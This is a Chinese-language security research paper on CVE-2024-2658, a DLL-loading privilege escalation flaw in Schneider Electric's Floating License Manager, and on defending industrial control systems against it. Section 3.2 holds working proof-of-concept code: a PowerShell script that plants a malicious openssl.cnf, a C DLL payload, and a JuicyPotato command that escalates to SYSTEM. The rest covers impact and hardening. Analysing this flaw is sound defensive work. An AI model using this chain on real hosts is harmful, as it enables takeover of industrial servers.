摘要工业自动化场景大量采用第三方授权管理组件 FlexNet Publisher 实现软件浮动许可管控第三方组件存在的安全缺陷极易形成完整本地提权攻击链路直接威胁工控生产网络安全。本文以施耐德电气浮动许可管理器 FLM 中 CVE-2024-2658CWE-427 不受控搜索路径元素高危漏洞为核心研究对象梳理 FlexNet Publisher 底层 OpenSSL 配置加载逻辑缺陷完整拆解低权限本地用户至 NT AUTHORITY\SYSTEM 权限的全攻击链路结合 Windows 系统服务权限、进程模拟特权、DLL 动态加载机制还原漏洞利用技术细节编写漏洞利用模拟代码分析该漏洞对 PLC 编程站、SCADA 服务器、集中控制室等工业场景造成的业务中断、横向渗透、商业数据泄露等多层级风险从资产梳理、系统权限加固、终端检测、工业安全平台联动、补丁运维五个维度构建适配工控生产环境的分层防御体系。反网络钓鱼技术专家芦笛强调工业软件第三方依赖组件的隐性漏洞已成为工控网络入侵主流突破口仅依靠事后查杀无法阻断完整攻击链必须建立事前配置管控、事中行为监测、事后溯源处置的闭环防护机制。研究结论可为电力、化工、轨道交通等关键基础设施工控终端许可类软件安全运维提供技术参考。1 引言工业控制系统ICS作为关键信息基础设施的核心载体承载生产控制、设备调度、数据采集等核心业务系统可用性与数据保密性直接关联社会稳定与公共安全。当前主流工控厂商普遍采用 Flexera 公司 FlexNet Publisher 作为统一浮动许可管理组件用于管控 PLC 编程软件、人机界面 HMI、集中监控 SCADA 等专业工具的授权分发施耐德电气 Floating License ManagerFLM是该组件工业场景落地的典型产品广泛部署于工业工程师站、许可服务器、现场操作终端。第三方商业组件在简化软件授权开发流程的同时其底层代码缺陷会同步传导至工控软件形成供应链安全风险。CVE-2024-2658 漏洞暴露于 FlexNet Publisher 11.19.6.0 及以下版本属于典型不受控搜索路径缺陷CWE-427漏洞根源为程序硬编码 OpenSSL 配置文件路径且未对路径访问权限做校验。在 Windows 默认 NTFS 权限配置下任意已认证本地低权限用户均可构造恶意 openssl.cnf 配置文件诱导 lmadmin.exe 许可服务加载恶意动态链接库实现代码在 LOCAL SERVICE 服务账户上下文执行依托服务内置 SeImpersonatePrivilege 模拟特权攻击者可借助 Potato 系列提权工具完成至 NT AUTHORITY\SYSTEM 最高权限的二次提升形成完整本地权限提升攻击链。区别于传统通用终端漏洞该漏洞的风险特殊性体现在工业业务场景约束工控许可服务器多 24 小时不间断运行服务重启、设备重启均会触发漏洞利用条件工控网络多缺乏精细化终端访问控制单台许可服务器沦陷后攻击者可横向渗透至同网段 PLC、SCADA 节点生产业务不允许频繁停机重装系统漏洞修复与业务连续性存在天然冲突。现有工控安全研究多聚焦 PLC 固件、工业协议漏洞针对许可管理类第三方组件漏洞的全链路拆解、模拟利用、分层防护研究相对不足。本文基于 2026 年 6 月卡巴斯基安全实验室披露的漏洞原始情报完整拆解 CVE-2024-2658 漏洞底层原理、分步攻击流程、系统权限依赖条件编写可复现的漏洞利用模拟代码量化分析不同工业场景下漏洞危害层级构建兼顾生产连续性的可落地防御加固方案客观评估工业安全检测平台对该攻击链的识别能力填补工控许可软件供应链漏洞防护研究空白。全文不夸大漏洞破坏能力不使用口号化安全宣传所有技术结论均依托原始漏洞文档与 Windows 系统底层机制形成闭环论据。2 基础组件与漏洞底层原理分析2.1 施耐德 FLM 与 FlexNet Publisher 组件架构施耐德电气浮动许可管理器 FLM 是面向工业自动化全产品线的集中授权管理工具负责统一分配 EcoStruxure、PLC 编程软件、SCADA 监控平台等产品的浮动授权实现多终端共享许可资源降低企业软件采购成本。FLM 核心依赖 Flexera FlexNet Publisher 第三方授权库整套软件由四大核心组件协同工作各组件安全上下文与加载逻辑是漏洞形成的基础前提。2.1.1 lmadmin.exe 许可服务主程序lmadmin.exe 是 FLM 核心 32 位后台守护进程安装时自动注册为 Windows 系统服务 lmadminSchneider服务启动类型为自动运行账户固定为 NT AUTHORITY\LOCAL SERVICE。该服务承担三项核心业务一是接收工程师站、HMI 终端发起的许可申请二是内置轻量化 HTTP 管理门户提供无认证仪表盘与密码保护的后台管理页面三是初始化内置 OpenSSL 加密库用于许可传输过程中的通信加密。LOCAL SERVICE 账户属于系统内置受限账户默认无管理员读写权限但该服务进程被系统分配 SeImpersonatePrivilege 客户端模拟特权该特权是漏洞二次提权至 SYSTEM 账户的关键前置条件。进程内置 Web 门户与主程序共享同一内存地址空间注入的恶意 DLL 可直接拦截门户管理员后台账号密码扩大攻击面。2.1.2 OpenSSL 配置文件 openssl.cnf 加载模块FlexNet Publisher 内置 OpenSSL 加密组件用于许可报文加密校验程序内部硬编码 openssl.cnf 配置文件读取路径C:\cygwin\home\nightly\LMADMI~1.4\tier1\lmadmin\contrib\openssl\_RELEA~1\openssl\openssl.cnf路径中LMADMI~1.4为 Windows 8.3 短文件名格式FLM 默认安装流程不会自动创建 C:\cygwin 完整目录层级。Windows 系统默认 NTFS 权限下C 盘根目录允许 Authenticated Users 认证用户组创建文件夹低权限攻击者可手动逐层复刻完整目录结构放置自定义恶意配置文件。配置文件中[engine]引擎段支持dynamic_path参数参数值可指向任意本地 DLL 文件路径。FlexNet Publisher 加载 OpenSSL 时无校验逻辑直接读取参数指向路径并加载对应 DLL 至 lmadmin.exe 进程内存不存在文件签名校验、路径白名单、权限校验等安全控制逻辑这是漏洞代码注入的核心缺陷点。2.1.3 FlexNet Publisher 授权库核心逻辑FlexNet Publisher 作为第三方底层库承担许可解析、加密通信、OpenSSL 初始化功能。版本 11.19.6.0 及以下版本存在两处设计缺陷第一硬编码配置文件路径未提供配置路径自定义修改入口第二解析 openssl.cnf 引擎参数时未校验文件来源、文件所有者、DLL 文件合法性完全信任配置文件内自定义路径。两处缺陷叠加形成 CWE-427 不受控搜索路径漏洞外部低权限用户可完全控制程序加载的第三方动态库。2.1.4 FLM 内置 Web 管理门户Web 门户与 lmadmin.exe 进程共享内存空间分为公开仪表盘与密码保护管理员后台。恶意 DLL 注入进程后可通过内存读取、钩子拦截等方式捕获管理员登录明文账号密码攻击者利用该凭证登录门户篡改许可配置、中断全厂工业软件授权造成生产设备停机同时以门户为跳板向同网段其他工控终端发起横向渗透。2.2 CWE-427 不受控搜索路径漏洞定义与风险特征CWE-427 标准定义为程序搜索外部资源时未对资源路径实施访问控制攻击者可在不受信任路径放置恶意文件诱导程序加载执行。该类漏洞在 Windows 工业软件中高发核心风险特征分为三点第一权限不对称风险程序以高权限系统服务运行文件路径创建、修改权限开放给普通低权限用户权限边界完全失效第二触发条件隐蔽漏洞利用无需远程网络访问仅需本地交互式登录权限内网运维人员、第三方驻场工程师、U 盘病毒植入均可满足前置条件第三攻击链可扩展单次漏洞仅实现 LOCAL SERVICE 上下文代码执行但依托 Windows 系统内置特权可二次提权至系统最高权限危害呈指数级放大。CVE-2024-2658 是 CWE-427 漏洞在工控许可软件中的典型实例区别于办公软件同类漏洞其受害载体为 24 小时不间断运行的工业核心服务重启触发条件天然存在漏洞暴露窗口远长于普通桌面程序。2.3 Windows 系统底层支撑条件漏洞完整利用依赖三层 Windows 系统机制缺少任意一层均无法完成全链路攻击。C 盘根目录默认 NTFS 权限Windows Server 2016/2019、Windows 10/11 工控终端默认配置允许 Authenticated Users 组在 C:\ 根目录新建文件夹攻击者可复刻硬编码完整目录若管理员手动收紧 C 盘 ACL 权限可直接阻断漏洞前置利用步骤。LOCAL SERVICE 账户 SeImpersonatePrivilege 特权系统为 lmadminSchneider 服务分配客户端模拟特权进程可 RPC、COM、命名管道交互中模拟客户端安全上下文配合 Juicy Potato、PrintSpoofer 等工具实现 SYSTEM 权限提升。OpenSSL 引擎动态加载机制OpenSSL 原生支持外部引擎 DLL 扩展FlexNet 未增加校验逻辑直接继承原生加载逻辑为代码注入提供原生接口。3 CVE-2024-2658 完整攻击链路与模拟利用代码3.1 五步完整攻击流程整套攻击分为前置目录构造、恶意配置文件部署、恶意 DLL 准备、漏洞触发注入、二次权限提升五个阶段所有操作仅需本地普通域用户 / 本地用户权限无需管理员权限。3.1.1 阶段 1复刻硬编码目录层级攻击者获取终端低权限交互式会话后通过批处理、PowerShell 脚本逐层创建 C 盘下完整 cygwin 目录树匹配程序硬编码路径目录层级严格遵循 8.3 短文件名格式避免路径匹配失效。系统默认无目录存在创建操作无权限拦截。3.1.2 阶段 2构造恶意 openssl.cnf 配置文件在自建目录内生成自定义配置文件在[engine_section]段写入dynamic_path参数指向公共可读目录下的恶意 DLL如 C:\Users\Public\malicious.dll公共目录所有用户具备读写权限适合存放恶意载荷。配置文件完全遵循 OpenSSL 语法确保 FlexNet Publisher 正常解析参数。3.1.3 阶段 3部署恶意 DLL 载荷将编译完成的 32 位恶意 DLL 放置参数指定路径DLL 内部实现命令执行、进程内存扫描、凭证捕获、内网探测等功能因 lmadmin.exe 为 32 位程序恶意载荷必须编译为 32 位架构否则加载失败。3.1.4 阶段 4触发 lmadmin.exe 服务重启加载恶意库服务重启存在三种自然触发场景无需攻击者具备服务重启权限终端定时重启、服务器意外断电重启、运维人员重启 FLM 许可服务。服务启动初始化 OpenSSL 组件时读取自建目录下恶意配置加载外部 DLL 至进程内存代码以 NT AUTHORITY\LOCAL SERVICE 权限执行。3.1.5 阶段 5依托模拟特权二次提权至 SYSTEM注入 DLL 后利用进程自带 SeImpersonatePrivilege 特权调用 Juicy Potato 工具创建本地 RPC 交互模拟系统客户端身份完成权限提升至 NT AUTHORITY\SYSTEM最高权限下攻击者可完成系统文件篡改、凭证导出、内网横向移动、工控许可服务破坏等全部恶意操作。3.2 漏洞利用模拟代码示例3.2.1 PowerShell 脚本创建恶意目录与配置文件该脚本实现自动创建完整硬编码目录、生成恶意 openssl.cnf 配置文件仅需普通用户权限运行模拟攻击前置操作代码注释标注各步骤对应漏洞原理powershell# CVE-2024-2658 前置利用脚本构造目录与恶意OpenSSL配置# 硬编码路径分段定义匹配8.3短文件名LMADMI~1.4$basePath C:\cygwin\home\nightly\LMADMI~1.4\tier1\lmadmin\contrib\openssl\_RELEA~1\openssl# 恶意DLL存放路径公共目录所有用户可读可写$malDllPath C:\Users\Public\icsexploit.dll# 1. 逐层创建完整目录层级绕过NTFS默认权限if(-not (Test-Path $basePath)){New-Item -Path $basePath -ItemType Directory -Force | Out-NullWrite-Host 已创建漏洞利用目录路径$basePath}# 2. 构造恶意openssl.cnf配置文本写入dynamic_path参数$malConfig openssl_conf openssl_init[openssl_init]engines engine_section[engine_section]cmd cmd_sectionengine_id cmd[cmd_section]dynamic_path C:\\Users\\Public\\icsexploit.dllinit 0# 3. 将恶意配置写入目标路径openssl.cnf$configFile Join-Path -Path $basePath -ChildPath openssl.cnfSet-Content -Path $configFile -Value $malConfig -Encoding ASCIIWrite-Host 恶意配置文件已生成$configFileWrite-Host 等待lmadminSchneider服务重启触发DLL加载3.2.2 C 语言简化恶意 DLL 载荷代码32 位编译DLL 主函数实现 LOCAL SERVICE 权限下系统命令执行注入 lmadmin.exe 后自动弹出系统命令行作为漏洞验证载荷实际攻击载荷可集成凭证窃取、内网扫描功能// icsexploit.dll 32位恶意DLLCVE-2024-2658注入载荷#include windows.h// DLL加载入口函数OpenSSL引擎加载时自动执行BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:// 注入进程时执行系统命令弹出CMD窗口验证权限ShellExecute(NULL, Lopen, Lcmd.exe, NULL, NULL, SW_SHOW);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}3.2.3 提权辅助批处理脚本Juicy Potato 调用DLL 执行后依托 SeImpersonatePrivilege 调用 Juicy Potato 实现 LOCAL SERVICE 至 SYSTEM 权限提升batchecho off:: CVE-2024-2658二次提权脚本依托SeImpersonatePrivilegeecho 正在执行Juicy Potato权限提升目标NT AUTHORITY\SYSTEMJuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t *pause3.3 攻击链关键风险节点说明目录创建无权限校验是漏洞入口工业运维人员常使用普通域账号登录终端无意执行恶意脚本即可完成前置部署OpenSSL 配置文件完全可控无文件哈希校验、所有者校验攻击者可随意篡改引擎加载路径服务账户自带模拟特权是攻击链放大核心若无 SeImpersonatePrivilege漏洞仅能获取受限 LOCAL SERVICE 权限危害大幅降低服务自动重启机制大幅提升漏洞利用成功率工控服务器极少主动关机每月自动维护重启都会触发载荷加载。反网络钓鱼技术专家芦笛指出该攻击链最容易被运维人员忽视的环节是 C 盘根目录宽松 NTFS 权限多数企业工控终端上线后未做系统 ACL 加固为低权限用户目录创建提供便利形成漏洞利用的前置基础条件。4 漏洞在工业场景下的多层级危害分析施耐德 FLM 许可服务器部署于电力、化工、轨道交通、智能制造全行业工控网络漏洞利用成功后危害分为终端本地风险、生产业务风险、横向渗透供应链风险三个层级不同场景损失程度存在显著差异。4.1 本地终端主机安全风险漏洞完成 SYSTEM 权限提升后攻击者完全控制本地许可服务器主机可实施四类本地恶意操作第一窃取工控全量许可密钥与授权证书密钥黑市流通后竞争对手可非法激活全套施耐德自动化软件造成企业软件资产经济损失第二抓取 FLM Web 管理门户明文管理员密码篡改许可池分配规则批量吊销生产线设备授权直接中断生产第三导出 Windows 系统凭证、本地管理员哈希、RDP 远程桌面密码用于内网横向移动第四植入持久化后门通过服务、注册表、计划任务维持长期控制隐蔽潜伏于工控网络。许可服务器通常部署在生产控制区存储全厂工控软件授权核心数据单台主机沦陷即造成全厂授权体系失控。4.2 工业生产业务连续性风险工控生产场景对系统在线率要求极高漏洞利用可直接造成非计划停机恶意 DLL 破坏 lmadmin.exe 服务进程许可服务崩溃后车间 PLC 编程站、HMI 操作终端无法获取授权操作员无法修改设备参数、监控生产流程流水线强制停机攻击者篡改许可有效期批量缩短设备授权时长生产中途授权失效引发设备自锁植入工控协议嗅探工具持续抓取 Modbus、Profinet 控制报文篡改下发设备指令引发生产线误动作、设备故障高危化工、电力场景可能引发安全生产事故。化工、火电等连续生产行业单次非计划停机直接造成数十万至百万级直接经济损失同时存在设备损毁、人员安全隐患。4.3 工控网络横向渗透与供应链风险工控网络多采用扁平化架构许可服务器与工程师站、SCADA 服务器、PLC 网关同属控制网无严格网络隔离攻击者获取 SYSTEM 权限后可快速横向扩散利用窃取的 RDP、SMB 凭证登录同网段工程师站篡改 PLC 控制程序扫描内网 Modbus TCP 端口直接下发停机、调压、断料等恶意控制指令持久化后门批量植入多台工控终端形成内网僵尸网络长期窃取生产工艺、配方、产能数据等商业机密定向窃取核心工艺文件后出售给同业竞争对手造成供应链商业间谍风险。4.4 不同工业场景危害差异化对比离散制造业汽车、3C 工厂危害集中于生产线停机、设备授权失效无重大人身安全风险经济损失可控流程化工、油气场站漏洞利用后恶意篡改设备控制参数存在爆炸、泄漏安全事故风险危害等级最高电力电网、轨道交通属于关键信息基础设施攻击可能引发区域停电、列车调度失控触及网络安全监管法规处罚研发实验室工控终端核心风险为工艺配方、新产品程序泄露商业损失突出。5 漏洞分层防御体系构建结合工控系统不能随意停机、业务优先、运维人员权限复杂的场景特征本文从资产摸底、系统权限加固、软件补丁修复、终端行为检测、工业安全平台联动、人员安全管控六个维度构建闭环防御体系兼顾漏洞短期应急处置与长期常态化防护。5.1 资产全量梳理与风险分级事前防控企业首先完成全网施耐德 FLM 资产盘点阻断漏洞暴露源头全网扫描部署 FlexNet Publisher 组件的终端提取软件版本号区分 11.19.6.0 及以下高危版本与 3.0.0.0 及以上修复版本资产分级许可服务器、SCADA 主机划为一级高危资产普通工程师站划为二级资产办公终端划为三级资产无业务依赖的 FLM 软件直接卸载改用硬件绑定单机许可彻底消除漏洞载体确需浮动许可的设备迁移至独立专用许可服务器收紧访问权限。5.2 Windows 系统 NTFS 权限底层加固阻断漏洞前置利用漏洞利用首要条件是低权限用户可在 C 盘根目录创建文件夹通过 ACL 权限加固直接切断攻击链第一步无需升级软件即可应急防护以管理员身份打开 C 盘根目录安全属性删除 Authenticated Users 组写入、创建文件夹权限手动创建 C:\cygwin 空目录配置目录 ACL完全拒绝所有普通用户读写、修改权限批量推送终端权限加固脚本统一管控工控服务器系统目录权限定期审计 C 盘根目录 ACL 变更日志。该措施为漏洞最优临时缓解方案无需停机重启 FLM 服务适配生产业务不中断要求。5.3 软件版本补丁升级根本修复方案厂商官方修复方案为将施耐德 FLM 升级至 3.0.0.0 及以上版本新版本内置修复后的 FlexNet Publisher 组件移除硬编码 OpenSSL 路径并增加配置文件校验逻辑完整消除 CWE-427 缺陷。升级实施规范选择生产维护窗口期停机升级许可服务器提前备份许可密钥与配置文件升级完成后校验 lmadmin.exe 版本号确认 FlexNet Publisher 库版本高于 11.19.6.0离线工控终端通过内网介质包升级禁止生产控制区终端直连互联网下载更新规避补丁下载阶段引入新威胁。5.4 终端 EDR 工业行为检测事中攻击识别部署工业版终端检测响应平台KICS、工控主机卫士配置针对性检测规则实时识别攻击链各阶段异常行为文件行为监测告警 C:\cygwin 目录自动创建、未知程序写入 openssl.cnf 配置文件、公共目录新增 32 位未知 DLL进程行为监测监控 lmadmin.exe 加载非程序安装目录下外部 DLL、进程发起 Juicy Potato 等提权工具调用特权行为监测告警 LOCAL SERVICE 账户进程调用 SeImpersonatePrivilege 执行 RPC 交互、异常模拟客户端身份服务行为监测实时记录 lmadminSchneider 服务重启事件短时间多次重启触发高风险告警。卡巴斯基工业网络安全平台 KICS 内置专属漏洞检测规则可通过漏洞管理器模块批量识别全网受影响 FLM 版本行为分析引擎完整捕获从目录创建到 DLL 注入全流程攻击行为并阻断。5.5 工业网络分层隔离与流量管控限制横向渗透即便终端漏洞被利用通过网络隔离阻断攻击者内网扩散采用工业防火墙划分安全区域许可服务器独立部署于 DMZ 许可区与生产控制区设置单向访问控制禁止许可服务器主动访问 PLC、SCADA 设备关闭工控终端不必要端口禁用 135、445 高危 SMB、RPC 端口限制内网横向凭证传递部署工业入侵检测系统监控内网异常 RDP、SMB 扫描流量发现许可服务器向外批量探测终端立即阻断会话。5.6 日志审计与事后溯源处置闭环复盘建立全链路日志留存机制漏洞触发后快速溯源处置开启 Windows 安全日志、FLM 许可服务日志、EDR 终端行为日志日志留存周期不少于 90 天日志监控重点C 盘目录创建操作、openssl.cnf 文件修改、lmadmin.exe 进程加载未知 DLL、SYSTEM 权限异常命令执行漏洞告警处置流程终端隔离→恶意文件全盘查杀→清理持久化后门→系统权限二次加固→补丁升级→全网同类资产复查形成完整处置闭环。5.7 运维人员权限安全管控人为因素是漏洞前置利用的重要入口优化账号权限策略降低风险推行最小权限原则日常运维使用普通域账号仅补丁升级、系统配置时临时申请管理员权限禁止运维人员在许可服务器随意运行未知脚本、外部工具限制公共目录文件写入权限定期开展工控软件供应链安全培训讲解第三方许可组件漏洞攻击方式提升运维人员风险识别能力。6 结论本文基于 2026 年 6 月公开的 CVE-2024-2658 漏洞原始情报完整拆解施耐德 FLM 浮动许可管理器不受控搜索路径漏洞的底层原理、五步式本地提权攻击链提供可落地的 PowerShell、C 语言模拟利用代码量化分析漏洞在离散制造、化工、电力、轨道交通等工业场景的差异化安全危害。研究证实该漏洞风险根源分为三层FlexNet Publisher 第三方组件代码设计缺陷、Windows 系统默认宽松 NTFS 目录权限、LOCAL SERVICE 服务分配过度的 SeImpersonatePrivilege 模拟特权三层条件叠加形成从低权限用户至系统最高权限的完整攻击链路对关键基础设施工控网络构成持续性威胁。反网络钓鱼技术专家芦笛强调工控软件供应链第三方组件漏洞已成为当前工业网络安全防护的薄弱环节单一补丁修复无法覆盖全部风险必须构建 “资产分级摸底 — 系统权限加固 — 软件补丁根治 — 终端行为监测 — 网络隔离阻断 — 日志溯源复盘” 多层协同防御体系。针对工控生产不能停机的业务约束C 盘根目录 ACL 权限收紧是可即时落地的应急缓解措施长期根治方案为升级施耐德 FLM 至 3.0.0.0 及以上修复版本搭配工业 EDR 行为监测实现事前、事中、事后全周期防护。从攻防演进趋势来看工控厂商第三方授权、数据库、加密类组件仍存在大量未披露 CWE-427、CWE-494 等加载类漏洞攻击者会持续针对许可管理类低曝光软件发起定向攻击。后续工控安全运维工作需建立第三方组件常态化漏洞扫描机制将 FlexNet、OpenSSL 等依赖库纳入资产安全审计范围持续跟踪厂商漏洞公告提前完成加固处置降低供应链隐性漏洞带来的生产安全风险。编辑芦笛公共互联网反网络钓鱼工作组